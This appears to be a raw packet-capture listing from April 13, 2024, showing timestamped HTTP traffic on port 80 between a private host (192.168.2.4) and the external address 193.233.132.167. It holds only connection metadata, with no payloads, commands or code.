Apr 13, 2024 20:21:27.977036953 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.977057934 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.977075100 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.977093935 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.977103949 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.977132082 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.977144957 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.977169037 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.977205992 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.977209091 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.977229118 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.977243900 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.977252960 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.977281094 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.977293968 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.977317095 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.977322102 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.977355957 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.977374077 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.977392912 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.977410078 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.977428913 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.977443933 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.977466106 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.977472067 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.977502108 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.977538109 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.977557898 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.977574110 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.977596045 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.977610111 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.977617025 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.977648020 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.977659941 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.977685928 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.977689028 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.977724075 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.977735996 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.977761030 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.977791071 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.977797031 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.977811098 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.977833986 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.977844000 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.977870941 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.977900028 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.977906942 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.977920055 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.977946997 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.977956057 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.977983952 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.977999926 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.978022099 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.978039026 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.978058100 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.978075981 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.978094101 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.978115082 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.978135109 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.978137016 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.978172064 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.978185892 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.978209019 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.978215933 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.978247881 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.978259087 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.978283882 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.978312969 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.978322029 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.978332996 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.978358984 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.978369951 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.978395939 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.978430986 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.978450060 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.978466988 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.978487015 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.978502989 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.978538990 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.978554964 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.978554964 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.978575945 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.978581905 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.978612900 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.978615999 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.978648901 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.978665113 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.978686094 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.978713989 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.978720903 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.978732109 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.978758097 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.978768110 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.978794098 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.978810072 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.978831053 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.978842020 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.978868008 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.978904009 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.978923082 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.978940010 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.978960991 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.978976965 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.979001045 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.979012012 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.979017973 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.979051113 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.979063034 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.979088068 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.979108095 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.979124069 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.979135990 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.979161024 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.979181051 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.979198933 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.979218006 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.979237080 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.979253054 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.979273081 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.979280949 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.979311943 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.979325056 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.979348898 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.979387999 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.979396105 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.979417086 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.979425907 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.979464054 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.979479074 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.979501009 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.979537010 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.979557037 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.979573965 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.979610920 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.979633093 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.979648113 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.979661942 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.979685068 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.979707003 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.979722023 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.979758024 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.979773045 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.979773045 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.979794979 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.979815960 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.979832888 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.979837894 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.979871035 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.979878902 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.979908943 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.979922056 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.979948044 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.979983091 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.980004072 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.980019093 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.980024099 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.980055094 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.980083942 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.980091095 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.980103016 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.980128050 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.980149984 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.980168104 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.980195999 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.980205059 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.980231047 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.980257988 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.980294943 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.980314970 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.980330944 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.980338097 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.980367899 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.980402946 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.980426073 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.980426073 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.980439901 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.980448961 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.980475903 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.980492115 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.980515003 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.980545998 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.980550051 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.980566025 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.980587006 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.980603933 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.980694056 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.982759953 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.982799053 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.982836962 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.982857943 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.982875109 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.982933044 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.983680010 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.983719110 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.983741999 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.983755112 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.983764887 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.983791113 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.983799934 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.983828068 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.983844995 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.983865023 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.983896971 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.983916044 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.983967066 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.984004021 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.984035969 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.984041929 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.984056950 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.984077930 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.984082937 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.984132051 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.984148026 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.984184980 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.984204054 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.984241009 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.984251022 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.984277964 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.984318018 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.984337091 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.984355927 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:27.984388113 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:27.984407902 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.327898026 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.327961922 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.328000069 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.328037977 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.328042984 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.328078032 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.328105927 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.328118086 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.328154087 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.328155994 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.328193903 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.328207970 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.328268051 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.328305960 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.328344107 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.328382015 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.328421116 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.328463078 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.328499079 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.328526020 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.328526974 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.328526974 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.328526974 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.328538895 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.328576088 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.328599930 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.328614950 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.328634977 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.328655958 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.328694105 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.328723907 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.328732014 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.328742981 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.328769922 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.328807116 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.328829050 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.328845024 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.328881979 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.328897953 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.328918934 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.328943014 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.328955889 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.328967094 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.328993082 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.329030037 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.329040051 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.329067945 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.329103947 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.329113960 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.329140902 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.329176903 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.329204082 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.329215050 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.329229116 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.329255104 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.329292059 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.329308987 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.329329014 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.329366922 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.329381943 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.329404116 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.329420090 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.329442024 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.329478979 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.329503059 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.329519033 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.329523087 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.329555988 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.329591990 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.329622030 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.329627991 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.329643011 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.329667091 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.329704046 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.329720974 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.329741955 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.329778910 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.329801083 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.329817057 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.329853058 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.329869032 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.329890013 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.329907894 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.329926968 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.329962969 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.329982996 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.329999924 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.330019951 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.330040932 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.330077887 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.330095053 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.330116987 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.330153942 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.330168962 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.330190897 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.330221891 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.330229044 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.330265999 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.330275059 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.330303907 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.330341101 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.330378056 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.330398083 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.330398083 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.330415964 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.330455065 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.330477953 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.330491066 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.330529928 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.330545902 CEST	49752	80	192.168.2.4	193.233.132.167
